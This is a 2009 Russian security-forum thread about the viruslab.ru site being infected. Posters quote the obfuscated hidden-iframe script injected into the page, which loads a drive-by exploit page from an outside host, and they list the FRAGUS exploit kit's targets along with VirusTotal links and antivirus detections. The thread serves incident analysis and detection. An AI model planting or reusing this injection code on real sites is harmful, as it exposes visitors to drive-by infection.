Пит

viruslab.ru - заражен?

В этой теме 21 сообщений

Не удивительно, учитывая наличие вот этого кода в центре страницы:

<script>document.write('<ifr'+'ame height=\"0\" width=\"0\" style=\"display: none;\" src=\"http://gali'+'yas.c'+'n/show.php?s=0be7'+'fb3bca\"></ifr'+'ame>');</script>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Это значит что панды в России в опасности? :blink::lol:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Мухаха!!

Реално инфекченный сайт:

<script>document.write('<ifr'+'ame height=\"0\" width=\"0\" style=\"display: none;\" src=\"http://gali'+'yas.c'+'n/show.php?s=0be7'+'fb3bca\"></ifr'+'ame>');</script>

Это iframe, ведущий на страницу с эксплоитом.

А там полно вкусностей:

MDAC

directshow

pdf - util_printf, Collab.collectEmailInfo и collab_geticon (будут заражены все у кого акробат менее чем версии 9.0 внезависимости от используемого браузера)

swf

aolwinamp

snapshot

spreadsheet -вроде в прошлый вторник майкрософт выпустил патч ;)

Собственно бинарник:

http://www.virustotal.com/ru/analisis/2c9a...e352-1250730484

на текущий момент:

http://www.virustotal.com/ru/analisis/2c9a...e352-1250777968

Pdf-ка с эксплоитом:

http://www.virustotal.com/ru/analisis/f5a4...d093-1250778731

Флешка:

http://www.virustotal.com/ru/analisis/73bc...bad9-1250780189

  • Upvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Добавили детект скрипта как Trojan-Downloader.JS.Iframe.bpe. Это для тех, кто любит отключать эвристику в WebAV)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

и еще добавлю:

Кому интересно, что это за sploit-toolkit, которым инфицируют посетителей viruslab.ru:

Тулкит называется FRAGUS, российская разработка, появилась в июле. Цена - 800$

http://evilfingers.blogspot.com/2009/08/fr...rk-in-wild.html

З.Ы. Не воспринимать как рекламу :D

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Так а что будет если зайти на сайт без антивируса?

Цена - 800$

Это цена за вирус что-ли?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Ничего ровным счётом :) Я только что без антивируса заходил.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
и еще добавлю:

Кому интересно, что это за sploit-toolkit, которым инфицируют посетителей viruslab.ru:

Тулкит называется FRAGUS, российская разработка, появилась в июле. Цена - 800$

http://evilfingers.blogspot.com/2009/08/fr...rk-in-wild.html

З.Ы. Не воспринимать как рекламу :D

по данной ссылке заражение.

+после этого вот это стало появляться:

screen.JPG

post-5672-1250787411_thumb.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
по данной ссылке заражение.

kis2010 не видит

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
20.08.2009 23:58:47    Вредоносный HTTP-объект <http://www.anti-crimeware.ru/exp/adjs.php?n=659423313&what=zone:3&target=_blank&exclude=,&referer=http%3A//www.anti-malware.ru/forum/index.php%3Fs%3Dcec0f04941ee8262607b77deda8f3f8b%26act%3Dpost%26do%3Dedit_post%26f%3D2%26t%3D9263%26p%3D78982%26st%****: обнаружено: вирус 'HEUR:Exploit.Script.Generic' (модификация).20.08.2009 23:52:04    Вредоносный HTTP-объект <http://evilfingers.blogs***.com/2009/08/fragus-new-botnet-framework-in-wild.html//fragus-new-botnet-framework-in-wild>: обнаружено: вирус 'HEUR:Exploit.Script.Generic' (модификация).

screen.JPG

Если ява скрипт в браузере отключаем, аллертов больше нет :)

post-5672-1250788076_thumb.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

screen.JPG

Случайность?? Вирлаб Касперского намудрил чёта?

post-5672-1250789216_thumb.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
kis2010 не видит

убрали уже пару часов назад

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
убрали уже пару часов назад

Обновление не помогло, только откат не предыдущие <_<

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Это цена за вирус что-ли?

За эту связку эксплоитов. Бинарник, загружаемый связкой, может быть любым.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Это цена за вирус что-ли?

за exploit-toolkit. Троян, который заливали, где-то на порядок меньше.

Ничего ровным счётом smile.gif Я только что без антивируса заходил.

Эксплоит уже убрали и по указанному адресу на текущий момент ничего не отдается.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Это детектирование обфусцированного iframe, который вел на Fragus, пакет эксплоитов.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Дк а кто их в их сайт эту фигню впихнул? похекали шоле? B)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Skorpion

Вы используете не релизную версию.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Skorpion

Вы используете не релизную версию.

Дополню: WKS6MP4 RC в настоящий момент обновляется с сервера tim1 - это тестовый сервер, поэтому фолсы вполне возможны - на боевые сервера эти апдейты роботом пропущены не были.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Создайте учетную запись или войдите, чтобы комментировать

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!


Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.


Войти с помощью Facebook Войти Войти с помощью Twitter
Anti-Malware.ru Вконтакте   Anti-Malware.ru в Facebook   Anti-Malware.ru в Twitter   Anti-Malware.ru в LinkedIn   RSS
  • Сообщения

    • San
      Я вот сейчас тоже столкнулся с подобной проблемой. Кредит к сожалению, давать мне почему-то отказываются. Поэтому для себя лично я решил, что лучше будет взять деньги под залог автомобиля, потому как в худшем случае, я потеряю только свое транспортное средство, а не квартиру или что-то еще более важное. Нашел неплохие условия в Москве на сайте https://lombard-capital.ru/uslugi/dengi-pod-zalog-avto/ .  Кто-нибудь пользовался их услугами?
       
    • Harlison
      Кстати по сути вы говорите про те же материалы, из которых делают балконы разные, как тут под ключ кстати по адекватной цене https://salamander.com.ua/production/osteklenie-lodzhij-i-balkonov/balkon-pod-klyuch/ . В итоге суть в чём, можете попробовать с ними связать напрямую и предложить быть спонсорами такой то идеи, для создания удобства граждан. Или через горсовет и сразу предлагать, где можно их сделать, чтобы те всё оплатили.
      Если взялись, так делайте!
    • Viktorr
      Потому что для безопасности компьютеров, мало одних лишь антивирусов, нужно применять и другие способы защиты. В сети вообще-то немало данных по этой теме, к примеру вот здесь можете ознакомиться с подробной информацией, как проводить тестирование на проникновение, для обеспечения информационной безопасности  https://codeby.net/kniga-testirovanie-na-proniknovenie-s-kali-linux-2-0-na-russkom-jazyke/ . Там полностью на русском языке изложено, как проводить анализ уязвимостей в веб-приложениях, делать стресс-тесты сети и т.д. Так что внимательно изучите данную информацию, и делайте выводы, что нужно предпринять, чтобы надежно защитить свой компьютер.
    • demkd
      А причем тут разрабы, формат известен, проблема во времени необходимом на интеграцию sql в uVS и само совместимостью такого комбайна с PE, со временем вопрос решится буду смотреть.
    • PR55.RP55
      + Donkey CORP
      technologierutherford.com
      PC Accelerate Sales Inc
      technologieboussac.com
      RS INTERNET PAZARLAMA A S